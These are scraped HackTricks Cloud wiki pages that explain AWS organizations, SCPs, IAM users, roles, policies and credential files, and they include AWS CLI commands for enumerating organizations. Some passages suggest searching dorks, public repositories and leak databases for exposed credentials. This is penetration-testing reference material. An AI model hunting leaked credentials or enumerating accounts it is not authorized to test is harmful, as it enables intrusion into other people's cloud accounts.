[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Basic Information - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 20 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ![](../../../images/image%20(151).png) In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. * The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: * Create accounts in the organization * Invite other existing accounts to the organization * Remove accounts from the organization * Manage invitations * Apply policies to entities (roots, OUs, or accounts) within the organization * Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. * It's possible to login as the root user using the email and password used to create this root account/organization. The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. * **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. * Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups. The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). warning Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. SCP examples: * Deny the root account entirely * Only allow specific regions * Only allow white-listed services * Deny GuardDuty, CloudTrail, and S3 Public Block Access from being disabled * Deny security/incident response roles from being deleted or modified. * Deny backups from being deleted. * Deny creating IAM users and access keys Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs\_manage\_policies\_scps\_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) **Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env Note that there are 4 partitions in AWS but only 3 ways to call them: * AWS Standard: `aws` * AWS China: `aws-cn` * AWS US public Internet (GovCloud): `aws-us-gov` * AWS Secret (US Classified): `aws` IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. * **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. * **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. * **Access Control** - The method and process of how access is granted to a secure resource IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. ### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) [](#id_root) When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. Note that a new **admin user** will have **less permissions that the root user**. From a security point of view, it's recommended to create other users and avoid using this one. ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) [](#id_iam-users) An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) ). * **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT * **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). Whenever you need to **change the Access Key** this is the process you should follow: _Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication. You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. Policies with MFA conditions can be attached to the following: * An IAM user or group * A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic * The trust policy of an IAM role that can be assumed by a user If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA. Note that **`AssumeRole` credentials don't contain this information**. bash aws sts get-session-token --serial-number --token-code As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) , there are a lot of different cases where **MFA cannot be used**. ### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) [](#id_iam-groups) An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. Here are some important characteristics of user groups: * A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. * **User groups can't be nested**; they can contain only users, not other user groups. * There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. * The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) . ### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) [](#id_iam-roles) An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: ### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) [](#id_temp-creds) **Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. Are used to assign permissions. There are 2 types: * AWS managed policies (preconfigured by AWS) * Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. By **default access** is **denied**, access will be granted if an explicit role has been specified. If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). javascript { "Version": "2012-10-17", //Version of the policy "Statement": [ //Main element, there can be more than 1 entry in this array\ {\ "Sid": "Stmt32894y234276923" //Unique identifier (optional)\ "Effect": "Allow", //Allow or deny\ "Action": [ //Actions that will be allowed or denied\ "ec2:AttachVolume",\ "ec2:DetachVolume"\ ],\ "Resource": [ //Resource the action and effect will be applied to\ "arn:aws:ec2:*:*:volume/*",\ "arn:aws:ec2:*:*:instance/*"\ ],\ "Condition": { //Optional element that allow to control when the permission will be effective\ "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}\ }\ }\ ] } The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount) . The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html) . This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them. Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. **This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. bash aws sts assume-role \ --role-arn \ --role-session-name \ [--policy-arns ] [--policy ] Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.html#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) . Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account. An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. ![](../../../images/image (247).png) AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. The login domain is going to be something like `.awsapps.com`. To login users, there are 3 identity sources that can be used: * Identity Center Directory: Regular AWS users * Active Directory: Supports different connectors * External Identity Provider: All users and groups come from an external Identity Provider (IdP) ![](../../../images/image (279).png) In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. **A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account. It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. Not supported: * Trust Relations * AD Admin Center * Full PS API support * AD Recycle Bin * Group Managed Service Accounts * Schema Extensions * No Direct access to OS or Instances The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. * You can **set a password policy setting** options like minimum length and password requirements. * You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: | Identifier Code | Description | | --- | --- | | ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ACCA | Context-specific credential | | AGPA | User group | | AIDA | IAM user | | AIPA | Amazon EC2 instance profile | | AKIA | Access key | | ANPA | Managed policy | | ANVA | Version in a managed policy | | APKA | Public key | | AROA | Role | | ASCA | Certificate | | ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | The following privileges grant various read access of metadata: * `arn:aws:iam::aws:policy/SecurityAudit` * `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` * `codebuild:ListProjects` * `config:Describe*` * `cloudformation:ListStacks` * `logs:DescribeMetricFilters` * `directconnect:DescribeConnections` * `dynamodb:ListTables` In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`. In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used. Example of credentials file with more than 1 profile: [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT aws_secret_access_key = uOcdhof683fbOUGFYEQug8fUGIf68greoihef [Admin] aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. You can use the `~/.aws/config` file to [**indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) , and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user). A config file example: [profile acc2] region=eu-west-2 role_arn=arn:aws:iam:::role/ role_session_name = source_profile = sts_regional_endpoints = regional With this config file you can then use aws cli like: aws --profile acc2 ... If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) . * [https://docs.aws.amazon.com/organizations/latest/userguide/orgs\_getting-started\_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) * [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) * [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Unauthenticated Enum & Access - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa. Some useful **tools**: * [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) * [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) * [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: * [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.html) * [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) * [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.html) * [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) * [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.html) * [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.html) * [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.html) * [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.html) * [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.html) * [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.html) * [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.html) * [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.html) * [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.html) * [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.html) * [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.html) * [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.html) * [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.html) * [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.html) In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: ![](../../../images/image%20(260).png) Other services found vulnerable: * AWS Config * Serverless repository * [**cloud\_enum**](https://github.com/initstring/cloud_enum) : Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Permissions for a Pentest - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: * The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) * To run [aws\_iam\_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: * **access-analyzer:List\*** * **access-analyzer:Get\*** * **iam:CreateServiceLinkedRole** * **access-analyzer:CreateAnalyzer** * Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) * **access-analyzer:DeleteAnalyzer** * Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Organizations Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. Key Points: * **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. * **Resource Allocation**: It simplifies the process of allocating resources across the accounts. * **Account Grouping**: Accounts can be grouped together, making management more streamlined. * **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. You can find more information in: [AWS - Basic Information](../aws-basic-information/index.html) bash # Get Org aws organizations describe-organization aws organizations list-roots # Get OUs, from root and from other OUs aws organizations list-organizational-units-for-parent --parent-id r-lalala aws organizations list-organizational-units-for-parent --parent-id ou-n8s9-8nzv3a5y # Get accounts ## List all the accounts without caring about the parent aws organizations list-accounts ## Accounts from a parent aws organizations list-accounts-for-parent --parent-id r-lalala aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y # Get basic account info ## You need the permission iam:GetAccountSummary aws iam get-account-summary * [https://aws.amazon.com/organizations/](https://aws.amazon.com/organizations/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Unauthenticated Enum & Initial Entry - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) 